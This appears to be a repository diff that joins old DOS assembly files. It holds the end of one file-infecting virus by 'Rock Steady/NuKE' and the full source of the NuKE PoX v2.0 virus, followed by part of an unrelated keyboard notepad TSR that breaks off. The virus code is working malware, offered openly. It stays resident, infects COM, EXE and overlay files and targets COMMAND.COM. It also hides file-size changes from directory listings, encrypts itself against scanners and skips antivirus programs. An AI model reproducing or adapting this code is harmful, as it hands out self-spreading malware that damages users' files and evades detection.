mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,1dh ;Is in 58 seconds?
jnz not_infected ;Nope...
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],virus_size ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
cmp ax,4b00h ;File executed
je execute
cmp ah,11h ;Dir handler
je dir_handler
cmp ah,12h ;Next file Dir handler
je dir_handler
cmp ax,0abcdh ;Virus testing
jne int21call
mov bx,0abcdh
int21call:
jmp dword ptr cs:[int21] ;Split...
ret
execute:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
mov ax,4300h ;Get file Attribs
int 21h
jc exit
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
int 21h
jc exit
open_file: mov ax,3D02h
int 21h ;Open File to Infect please
jc exit ;Error Split
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
int 21h
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
dec cx ;58 seconds
xor al,cl ;Is it 58 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,3h
mov dx,offset ds:[buffer] ;Read first 3 bytes
int 21h
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer to end
xor cx,cx ;of file...
xor dx,dx
int 21h
jc exit_now ;Error Split
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
je exit ;Yupe! Split
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr cs:[jump_address+1],cx
call infect_me ;Infect!
jc exit_now ;error split
mov ah,40h ;Write back the first 3
mov dx,offset ds:[jump_address] ;bytes
mov cx,3h
int 21h
exit_now:
mov cx,word ptr cs:[old_time] ;Restore old time
mov dx,word ptr cs:[old_date] ;Restore Old date
mov ax,5701h
int 21h
mov ah,3Eh
int 21h ;Close File now...
exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21] ;Jmp back to whatever
rocko endp
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc near
mov ah,2ch ;Get Time
int 21h
push dx ;Split seconds to AX
pop ax
mov byte ptr cs:[value],al ;AL = 0 to 99
;New Encryption Value
mov cx,virus_size
push cs
pop es ;Copy ANOTHER copy of the
mov si,offset init_virus ;Virus to the end of us
mov di,offset last
repne movsb
mov cx,crypt_size
sub cx,3h ;Encrypt that 2nd copy!
push bp
mov bp,offset last + 3h
call decrypt_encrypt
pop bp
mov ah,40h ;Write the New Encrypted
mov dx,offset last ;Virus to File!
mov cx,virus_size
int 21h
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to beginning
xor dx,dx ;file!
int 21h
jc exit_error ;Split Dude...
clc ;Clear carry flag
retn
exit_error:
stc ;Set carry flag
retn
infect_me endp
old_time dw ?
old_date dw ?
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h
crypt:
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
decrypt proc near
pop bp
push bp
mov al,byte ptr [value-106h][bp] ;Get new Encryption
mov cx,crypt_size ;Value
decrypt_encrypt:
xor cs:[bp],al ;Fuck Scanners and put a
inc bp ;`NOT AL' anywhere here...
loop decrypt_encrypt
retn
value db 00h ;Encryption value!
decrypt endp
last:
seg_a ends
end start
+842
View File
@@ -0,0 +1,842 @@
;==========================================================================
; ** NuKE Pox v2.0 **
;This is VERY old code but I promised to give it out, you'll see it exactly
;like Npox v1.1 in IJ#4, The code here is VERY BADLY written, I wrote WHOLE
;procedures TWICE! so LOTS of double code, I leave it UNTOUCHED for you to
;see, and understand it! I don't care if you fuck with it, go for it!
;The method of TSR is old, method of getting the Vectors is bad, the way
;I infect EXEs ain't too hot... But hell it works! It infects overlays..
;it won't infect F-prot.exe or anything with ????SCAN.EXE like SCAN.EXE or
;TBSCAN.EXE etc... Command.com dies fast... Really neat...Play all you like
;
;And to all those that said I `Hacked' this...
; FFFFFF UU UU CCCC KK KK YY YY OOOO UU UU
; FF UU UU CC CC KK KK YY YY OO OO UU UU
; FFFF UU UU CC KKK === YY OO OO UU UU
; FF UU UU CC CC KK KK YY OO OO UU UU
; FF UUUUUU CCCC KK KK YY OOOO UUUUUU
;Just cuz you can't do it, doesn't mean I can't, anyhow my 93 viruses are
;500% better than this one...
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* -*
;*- Virus: NuKE PoX Version: 2.0 *-
;-* ~~~~~~ ~~~~~~~~ -*
;*- Notes: EXE & COM & OVL Infector, TSR Virus. Dir Stealth Routine. *-
;-* Will Disinfect files that are opened, and re-infect them -*
;*- when they are closed! Executed files are disinfected then *-
;-* executed, and when terminated reinfected! -*
;*- VERY HARD to stop, it goes for your COMMAND.COM! beware! *-
;-* It is listed as a COMMON Virus due to is stealthiness! -*
;*- Bytes: 1800 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
virus_size equ last - init_virus ;Virus size
mut1 equ 3
mut2 equ 1
mut3 equ 103h ;Offset location
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h ;COM file!
rocko proc far
start: jmp init_virus
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Virus Begins Here...
;-------------------------------------------------------------------------
init_virus: call doit_now ;Doit VirusMan...
doit_now: pop bp ;Not to Lose Track
sub bp,106h ;Set our position
push ax ;Save all the regesters
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
mov ax,0abcdh ;Are we resident Already?
int 21h ;***McAfee Scan String!
cmp bx,0abcdh ;Yupe... Quit Then...
je exit_com
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3521h ;Sometimes tend to inter-
int 21h ;cept this Interrupt...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1 ;Get TOM size
mov dx,virus_size ;Virus size in DX
mov cl,4 ;Shift 4 bits
shr dx,cl ;Fast way to divide by 16
add dx,4 ;add 1 more para segment
mov cx,es ;current MCB segment
sub bx,dx ;sub virus_size from TOM
inc cx ;put back right location
mov es,cx
mov ah,4ah ;Set_block
int 21h
jc exit_com
mov ah,48h ;now allocate it
dec dx ;number of para
mov bx,dx ;
int 21h
jc exit_com
dec ax ;get MCB
mov es,ax
mov cx,8h ;Made DOS the owner of MCB
mov es:mut2,cx ;put it...
sub ax,0fh ;get TOM
mov di,mut3 ;beginnig of our loc in mem
mov es,ax ;
mov si,bp ;delta pointer
add si,offset init_virus ;where to start
mov cx,virus_size
cld
repne movsb ;move us
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
exit_com: push cs
pop ds
cmp word ptr cs:[buffer][bp],5A4Dh
je exit_exe_file
mov bx,offset buffer ;Its a COM file restore
add bx,bp ;First three Bytes...
mov ax,[bx] ;Mov the Byte to AX
mov word ptr ds:[100h],ax ;First two bytes Restored
add bx,2 ;Get the next Byte
mov al,[bx] ;Move the Byte to AL
mov byte ptr ds:[102h],al ;Restore the Last of 3b
pop ds
pop es
pop bp ;Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ;Jump Back to Beginning
push ax ;Restores our IP (a CALL
retn ;Saves them, now we changed
command db "C:\COMMAND.COM",0
exit_exe_file: mov bx,word ptr cs:[vir_cs][bp] ;fix segment loc
mov dx,cs ;
sub dx,bx
mov ax,dx
add ax,word ptr cs:[exe_cs][bp] ;add it to our segs
add dx,word ptr cs:[exe_ss][bp]
mov bx,word ptr cs:[exe_ip][bp]
mov word ptr cs:[fuck_yeah][bp],bx
mov word ptr cs:[fuck_yeah+2][bp],ax
mov ax,word ptr cs:[exe_ip][bp]
mov word ptr cs:[Rock_fix1][bp],dx
mov word ptr cs:[Rock_fix2][bp],ax
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 0B8h ;nothing but MOV AX,XXXX
Rock_Fix1:
dw 0
cli
mov ss,ax
db 0BCh ;nothing but MOV SP,XXXX
Rock_Fix2:
dw 0
sti
db 0EAh ;nothing but JMP XXXX:XXXX
Fuck_yeah:
dd 0
int21 dd ? ;Our Old Int21
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Dir Handler
;-------------------------------------------------------------------------
old_dir: call calldos21 ;get FCB
test al,al ;error?
jnz old_out ;nope
push ax
push bx
push es
mov ah,51h ;get PSP
int 21h
mov es,bx ;
cmp bx,es:[16h] ;
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh
int 21h
pop ax
inc al ;Extended FCB?
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh
cmp al,1eh
jnz not_infected
and byte ptr es:[bx+17h],0e0h ;fix secs
sub word ptr es:[bx+1dh],virus_size
sbb word ptr es:[bx+1fh],0
not_infected: pop es
pop bx
pop ax
old_out: iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Int 21 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler: cmp ah,11h
je old_dir
cmp ah,12h
je old_dir
cmp ax,4b00h ;File executed
je dis_infect
cmp ah,3dh
je check_file
cmp ah,3eh
je check_file2
cmp ax,0abcdh ;Virus testing
jne int21call
mov bx,0abcdh
int21call: jmp dword ptr cs:[int21] ;Split...
check_file: jmp opening_file ;Like a Charm
check_file2: jmp closing_file
dis_infect: call disinfect ;EXE & COM okay
dont_disinfect: push dx
pushf
push cs
call int21call
pop dx
execute: push ax
push bx
push cx
push dx
push ds
push ax
push bx
push cx
push dx
push ds
push bp
push cs
pop ds
mov dx,offset command
mov bp,0abcdh
jmp command1
command_ret: pop bp
pop ds
pop dx
pop cx
pop bx
pop ax
call check_4_av
jc exit1
command1: mov ax,4300h ;Get file Attribs
call calldos21
jc exit1
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
call calldos21
jc exit
open_file: mov ax,3D02h
call calldos21
exit1: jc exit
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
Call calldos21
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
xor al,cl ;Is it 60 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,1Bh ;Read first 1B
mov dx,offset ds:[buffer] ;into our Buffer
call calldos21
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer
xor cx,cx ;to EOF File
xor dx,dx
call calldos21
jc exit_now ;Error Split
cmp word ptr ds:[buffer],5A4Dh ;Is file an EXE?
je exe_infect ;Infect EXE file
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr ds:[jump_address+1],cx
call infect_me ;Infect!
jc exit
mov ah,40h ;Write back the
mov dx,offset jump_address
mov cx,3h
call calldos21
exit_now:
mov cx,word ptr ds:[old_time] ;Restore old time
mov dx,word ptr ds:[old_date] ;Restore Old date
mov ax,5701h
call calldos21
mov ah,3Eh
call calldos21
exit: cmp bp,0abcdh
je command2
pop ds
pop dx
pop cx
pop bx
pop ax
iret
command2: jmp command_ret
exe_infect: mov cx,word ptr cs:[buffer+20]
mov word ptr cs:[exe_ip],cx
mov cx,word ptr cs:[buffer+22]
mov word ptr cs:[exe_cs],cx
mov cx,word ptr cs:[buffer+16]
mov word ptr cs:[exe_sp],cx
mov cx,word ptr cs:[buffer+14]
mov word ptr cs:[exe_ss],cx
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
mov word ptr cs:[vir_cs],dx
push ax
push dx
call infect_me
pop dx
pop ax
mov word ptr cs:[buffer+22],dx
mov word ptr cs:[buffer+20],ax
pop dx
pop ax
jc exit
add ax,virus_size
adc dx,0
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
add ax,40h
mov word ptr cs:[buffer+14],dx
mov word ptr cs:[buffer+16],ax
pop dx
pop ax
push bx
push cx
mov cl,7
shl dx,cl
mov bx,ax
mov cl,9
shr bx,cl
add dx,bx
and ax,1FFh
jz outta_here
inc dx
outta_here: pop cx
pop bx
mov word ptr cs:[buffer+2],ax
mov word ptr cs:[buffer+4],dx
mov ah,40h
mov dx,offset ds:[buffer]
mov cx,20h
call calldos21
exit_exe: jmp exit_now
rocko endp
vir_cs dw 0
exe_ip dw 0
exe_cs dw 0
exe_sp dw 0
exe_ss dw 0
exe_sz dw 0
exe_rm dw 0
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Opening File handle AX=3D
;-------------------------------------------------------------------------
opening_file: call check_extension
jnc open_fuck2
call check_exten_exe
jnc open_fuck2
jmp dword ptr cs:[int21]
open_fuck2: push ax
mov ax,3d02h
call calldos21
jnc open_fuck1
pop ax
iret
open_fuck1: push bx
push cx
push dx
push ds
mov bx,ax
mov ax,5700h
call calldos21
mov al,cl
or cl,1fh
dec cx ;60 Seconds
xor al,cl
jnz opening_exit3
dec cx
mov word ptr cs:[old_time],cx
mov word ptr cs:[old_date],dx
mov ax,4202h ;Yes Pointer to EOF
xor cx,cx
xor dx,dx
call calldos21
mov cx,dx
mov dx,ax
push cx
push dx
sub dx,1Bh ;Get first 3 Bytes
sbb cx,0
mov ax,4200h
call calldos21
push cs
pop ds
mov ah,3fh ;Read them into Buffer
mov cx,1Bh
mov dx,offset buffer
call calldos21
xor cx,cx ;Goto Beginning of File
xor dx,dx
mov ax,4200h
call calldos21
mov ah,40h ;Write first three bytes
mov dx,offset buffer
mov cx,1Bh
cmp word ptr cs:[buffer],5A4Dh
je open_exe_jmp
mov cx,3h
open_exe_jmp: call calldos21
pop dx ;EOF - Virus_Size
pop cx ;to get ORIGINAL File size
sub dx,virus_size
sbb cx,0
mov ax,4200h
call calldos21
mov ah,40h ;Fix Bytes
xor cx,cx
call calldos21
mov cx,word ptr cs:[old_time]
mov dx,word ptr cs:[old_date]
mov ax,5701h
int 21h
mov ah,3eh ;Close File
call calldos21
opening_exit3: pop ds
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21]
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Closing File Handle INFECT it!
;-------------------------------------------------------------------------
closing_file: cmp bx,0h
je closing_bye
cmp bx,5h
ja close_cont
closing_bye: jmp dword ptr cs:[int21]
close_cont: push ax
push bx
push cx
push dx
push di
push ds
push es
push bp
push bx
mov ax,1220h
int 2fh
mov ax,1216h
mov bl,es:[di]
int 2fh
pop bx
add di,0011h
mov byte ptr es:[di-0fh],02h
add di,0017h
cmp word ptr es:[di],'OC'
jne closing_next_try
cmp byte ptr es:[di+2h],'M'
jne pre_exit
jmp closing_cunt3
closing_next_try:
cmp word ptr es:[di],'XE'
jne pre_exit
cmp byte ptr es:[di+2h],'E'
jne pre_exit
closing_cunt: cmp word ptr es:[di-8],'CS'
jnz closing_cunt1 ;SCAN
cmp word ptr es:[di-6],'NA'
jz pre_exit
closing_cunt1: cmp word ptr es:[di-8],'-F'
jnz closing_cunt2 ;F-PROT
cmp word ptr es:[di-6],'RP'
jz pre_exit
closing_cunt2: cmp word ptr es:[di-8],'LC'
jnz closing_cunt3
cmp word ptr es:[di-6],'AE' ;CLEAN
jnz closing_cunt3
pre_exit: jmp closing_nogood
closing_cunt3: mov ax,5700h
call calldos21
mov al,cl
or cl,1fh
dec cx ;60 Seconds
xor al,cl
jz closing_nogood
push cs
pop ds
mov word ptr ds:[old_time],cx
mov word ptr ds:[old_date],dx
mov ax,4200h
xor cx,cx
xor dx,dx
call calldos21
mov ah,3fh
mov cx,1Bh
mov dx,offset buffer
call calldos21
jc closing_no_good
mov ax,4202h
xor cx,cx
xor dx,dx
call calldos21
jc closing_no_good
cmp word ptr ds:[buffer],5A4Dh
je closing_exe
mov cx,ax
sub cx,3h
mov word ptr ds:[jump_address+1],cx
call infect_me
jc closing_no_good
mov ah,40h
mov dx,offset jump_address
mov cx,3h
call calldos21
closing_no_good:
mov cx,word ptr ds:[old_time]
mov dx,word ptr ds:[old_date]
mov ax,5701h
call calldos21
closing_nogood: pop bp
pop es
pop ds
pop di
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21]
closing_exe: mov cx,word ptr cs:[buffer+20]
mov word ptr cs:[exe_ip],cx
mov cx,word ptr cs:[buffer+22]
mov word ptr cs:[exe_cs],cx
mov cx,word ptr cs:[buffer+16]
mov word ptr cs:[exe_sp],cx
mov cx,word ptr cs:[buffer+14]
mov word ptr cs:[exe_ss],cx
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
mov word ptr cs:[vir_cs],dx
push ax
push dx
call infect_me
pop dx
pop ax
mov word ptr cs:[buffer+22],dx
mov word ptr cs:[buffer+20],ax
pop dx
pop ax
jc closing_no_good
add ax,virus_size
adc dx,0
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
add ax,40h
mov word ptr cs:[buffer+14],dx
mov word ptr cs:[buffer+16],ax
pop dx
pop ax
push bx
push cx
mov cl,7
shl dx,cl
mov bx,ax
mov cl,9
shr bx,cl
add dx,bx
and ax,1FFh
jz close_split
inc dx
close_split: pop cx
pop bx
mov word ptr cs:[buffer+2],ax
mov word ptr cs:[buffer+4],dx
mov ah,40h
mov dx,offset ds:[buffer]
mov cx,20h
call calldos21
closing_over: jmp closing_no_good
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Infection Routine...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc
mov ah,40h
mov dx,offset init_virus
mov cx,virus_size
call calldos21
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to
xor dx,dx ;top of file
call calldos21
jc exit_error ;Split Dude...
clc ;Clear carry flag
ret
exit_error:
stc ;Set carry flag
ret
infect_me endp
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; DisInfection Routine for 4B
;-------------------------------------------------------------------------
Disinfect PROC
push ax
push bx ;Save them
push cx
push dx
push ds
mov ax,4300h ;Get file Attribs
call calldos21
test cl,1h ;Test for Normal Attribs
jz okay_dis ;Yes, File can be opened
and cl,0feh ;No, Set them to Normal
mov ax,4301h ;Save attribs to file
call calldos21
jc half_way
okay_dis: mov ax,3d02h ;File now can be opened
call calldos21 ;Safely
jc half_way
mov bx,ax ;Put File Handle in BX
mov ax,5700h ;Get File Time & Date
call calldos21
mov al,cl ;Check to see if infected
or cl,1fh ;Unmask Seconds
dec cx ;Test to see if 60 seconds
xor al,cl
jnz half_way ;No, Quit File AIN'T
dec cx
mov word ptr cs:[old_time],cx
mov word ptr cs:[old_date],dx
mov ax,4202h ;Yes, file is infected
xor cx,cx ;Goto the End of File
xor dx,dx
call calldos21
push cs
pop ds
mov cx,dx ;Save Location into
mov dx,ax ;CX:DX
push cx ;Push them for later use
push dx
sub dx,1Bh ;Subtract file 1Bh from the
sbb cx,0 ;End so you will find the
mov ax,4200h ;Original EXE header or
call calldos21 ;First 3 bytes for COMs
mov ah,3fh ;Read them into Buffer
mov cx,1Bh ;Read all of the 1B bytes
mov dx,offset buffer ;Put them into our buffer
call calldos21
jmp half
half_way: jmp end_dis
half: xor cx,cx ;
xor dx,dx ;Goto the BEGINNING of file
mov ax,4200h
call calldos21
mov ah,40h ;Write first three bytes
mov dx,offset buffer ;from buffer to COM
mov cx,1Bh
cmp word ptr cs:[buffer],5A4Dh
je dis_exe_jmp
mov cx,3h
dis_exe_jmp: call calldos21
pop dx ;Restore CX:DX which they
pop cx ;to the End of FILE
sub dx,virus_size ;Remove Virus From the END
sbb cx,0 ;of the Orignal File
mov ax,4200h ;Get new EOF
call calldos21
mov ah,40h ;Write new EOF to File
xor cx,cx
call calldos21
mov cx,word ptr cs:[old_time]
mov dx,word ptr cs:[old_date]
mov ax,5701h
call calldos21
mov ah,3eh ;Close File
call calldos21
end_dis: pop ds
pop dx
pop cx ;Restore 'em
pop bx
pop ax
ret
disinfect ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check File Extension DS:DX ASCIIZ
;--------------------------------------------------------------------------
Check_extension PROC
push si
push cx
mov si,dx
mov cx,256h
loop_me: cmp byte ptr ds:[si],2eh
je next_ok
inc si
loop loop_me
next_ok: cmp word ptr ds:[si+1],'OC'
jne next_1
cmp byte ptr ds:[si+3],'M'
je good_file
next_1: cmp word ptr ds:[si+1],'oc'
jne next_2
cmp byte ptr ds:[si+3],'m'
je good_file
next_2: pop cx
pop si
stc
ret
good_file: pop cx
pop si
clc
ret
Check_extension ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check File Extension DS:DX ASCIIZ
;-------------------------------------------------------------------------
Check_exten_exe PROC
push si
push cx
mov si,dx
mov cx,256h
loop_me_exe: cmp byte ptr ds:[si],2eh
je next_ok_exe
inc si
loop loop_me_exe
next_ok_exe: cmp word ptr ds:[si+1],'XE'
jne next_1_exe
cmp byte ptr ds:[si+3],'E'
je good_file_exe
next_1_exe: cmp word ptr ds:[si+1],'xe'
jne next_2_exe
cmp byte ptr ds:[si+3],'e'
je good_file_exe
next_2_exe: pop cx
pop si
stc
ret
good_file_exe: pop cx
pop si
clc
ret
Check_exten_exe ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Call Int_21h Okay
;-------------------------------------------------------------------------
calldos21 PROC
pushf
call dword ptr cs:[int21]
retn
calldos21 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; MultiPly
;--------------------------------------------------------------------------
multiply PROC
push bx
push cx
mov cl,0Ch
shl dx,cl
xchg bx,ax
mov cl,4
shr bx,cl
and ax,0Fh
add dx,bx
pop cx
pop bx
retn
multiply ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check for AV file... Like SCAN.EXE or F-PROT.EXE
;-------------------------------------------------------------------------
Check_4_av PROC
push si
push cx
mov si,dx
mov cx,256h
av: cmp byte ptr ds:[si],2eh
je av1
inc si
loop av
av1: cmp word ptr ds:[si-2],'NA'
jnz av2
cmp word ptr ds:[si-4],'CS'
jz fuck_av
av2: cmp word ptr ds:[si-2],'NA'
jnz av3
cmp word ptr ds:[si-4],'EL'
jz fuck_av
av3: cmp word ptr ds:[si-2],'TO'
jnz not_av
cmp word ptr ds:[si-4],'RP'
jz fuck_av
not_av: pop cx
pop si
clc
ret
fuck_av: pop cx
pop si
stc
ret
Check_4_av ENDP
msg db "NuKE PoX V2.0 - Rock Steady"
old_time dw 0
old_date dw 0
file_handle dw 0
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h ;\
db 18h DUP (00) ;-Make 1Bh Bytes
last:
seg_a ends
end start
;==========================================================================
;=========================================================================
+271
View File
@@ -0,0 +1,271 @@
INTERRUPTS SEGMENT AT 0H ;This is where the keyboard interrupt
ORG 9H*4 ;holds the address of its service routine
KEYBOARD_INT LABEL DWORD
INTERRUPTS ENDS
SCREEN SEGMENT AT 0B000H ;A dummy segment to use as the
SCREEN ENDS ;Extra Segment
ROM_BIOS_DATA SEGMENT AT 40H ;BIOS statuses held here, also keyboard buffer
ORG 1AH
HEAD DW ? ;Unread chars go from Head to Tail
TAIL DW ?
BUFFER DW 16 DUP (?) ;The buffer itself
BUFFER_END LABEL WORD
ROM_BIOS_DATA ENDS
CODE_SEG SEGMENT
ASSUME CS:CODE_SEG
ORG 100H ;ORG = 100H to make this into a .COM file
FIRST: JMP LOAD_PAD ;First time through jump to initialize routine
CNTRL_N_FLAG DW 0 ;Cntrl-N on or off
PAD DB '_',499 DUP(' ') ;Memory storage for pad
PAD_CURSOR DW 0 ;Current position in pad
PAD_OFFSET DW 0 ;Chooses 1st 250 bytes or 2nd
FIRST_POSITION DW ? ;Position of 1st char on screen
ATTRIBUTE DB 112 ;Pad Attribute -- reverse video
SCREEN_SEG_OFFSET DW 0 ;0 for mono, 8000H for graphics
IO_CHAR DW ? ;Holds addr of Put or Get_Char
STATUS_PORT DW ? ;Video controller status port
OLD_KEYBOARD_INT DD ? ;Location of old kbd interrupt
N_PAD PROC NEAR ;The keyboard interrupt will now come here.
ASSUME CS:CODE_SEG
PUSH AX ;Save the used registers for good form
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH DS
PUSH ES
PUSHF ;First, call old keyboard interrupt
CALL OLD_KEYBOARD_INT
ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in
MOV BX,ROM_BIOS_DATA
MOV DS,BX
MOV BX,TAIL ;Point to current tail
CMP BX,HEAD ;If at head, kbd int has deleted char
JE IN ;So leave
SUB BX,2 ;Point to just read in character
CMP BX,OFFSET BUFFER ;Did we undershoot buffer?
JAE NO_WRAP ;Nope
MOV BX,OFFSET BUFFER_END ;Yes -- move to buffer top
SUB BX,2
NO_WRAP:MOV DX,[BX] ;Char in DX now
CMP DX,310EH ;Is the char a Cntrl-N?
JNE NOT_CNTRL_N ;No
MOV TAIL,BX ;Yes -- delete it from buffer
NOT CNTRL_N_FLAG ;Switch Modes
CMP CNTRL_N_FLAG,0 ;Cntrl-N off?
JNE CNTRL_N_ON ;No, only other choice is on
CNTRL_N_OFF:
MOV ATTRIBUTE,7 ;Set up for normal video
MOV PAD_OFFSET,250 ;Point to 2nd half of pad
LEA AX,PUT_CHAR ;Make IO call Put_Char as it scans
MOV IO_CHAR,AX ;over all locations in pad on screen
CALL IO ;Restore screen
IN: JMP OUT ;Done
CNTRL_N_ON:
MOV PAD_OFFSET,250 ;Point to screen stroage part of pad
LEA AX,GET_CHAR ;Make IO use Get_char so current screen
MOV IO_CHAR,AX ;is stored
CALL IO ;Store Screen
CALL DISPLAY ;And put up the pad
JMP OUT ;Done here.
NOT_CNTRL_N:
TEST CNTRL_N_FLAG,1 ;Is Cntrl-N on?
JZ IN ;No -- leave
MOV TAIL,BX ;Yes, delete this char from buffer
CMP DX,5300H ;Decide what to do -- is it a Delete?
JNE RUBOUT_TEST ;No -- try Rubout
MOV BX,249 ;Yes -- fill pad with spaces
DEL_LOOP:
MOV PAD[BX],' ' ;Move space to current pad position
DEC BX ;and go back one
JNZ DEL_LOOP ;until done.
MOV PAD,'_' ;Put the cursor at the beginning
MOV PAD_CURSOR,0 ;And start cursor over
CALL DISPLAY ;Put up the new pad on screen
JMP OUT ;And take our leave
RUBOUT_TEST:
CMP DX,0E08H ;Is it a Rubout?
JNE CRLF_TEST ;No -- try carriage return-line feed
MOV BX,PAD_CURSOR ;Yes -- get current pad location
CMP BX,0 ;Are we at beginning?
JLE NEVER_MIND ;Yes -- can't rubout past beginning
MOV PAD[BX],' ' ;No -- move space to current position
MOV PAD[BX-1],'_' ;And move cursor back one
DEC PAD_CURSOR ;Set the pad location straight
NEVER_MIND:
CALL DISPLAY ;And put the result on the screen
JMP OUT ;Done here.
CRLF_TEST:
CMP DX,1C0DH ;Is it a carriage return-line feed?
JNE CHAR_TEST ;No -- put it in the pad
CALL CRLF ;Yes -- move to next line
CALL DISPLAY ;And display result on screen
JMP OUT ;Done.
CHAR_TEST:
MOV BX,PAD_CURSOR ;Get current pad location
CMP BX,249 ;Are we past the end of the pad?
JGE PAST_END ;Yes -- throw away char
MOV PAD[BX],DL ;No -- move ASCII code into pad
MOV PAD[BX+1],'_' ;Advance cursor
INC PAD_CURSOR ;Increment pad location
PAST_END:
CALL DISPLAY ;Put result on screen
OUT: POP ES ;Having done Pushes, here are the Pops
POP DS
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
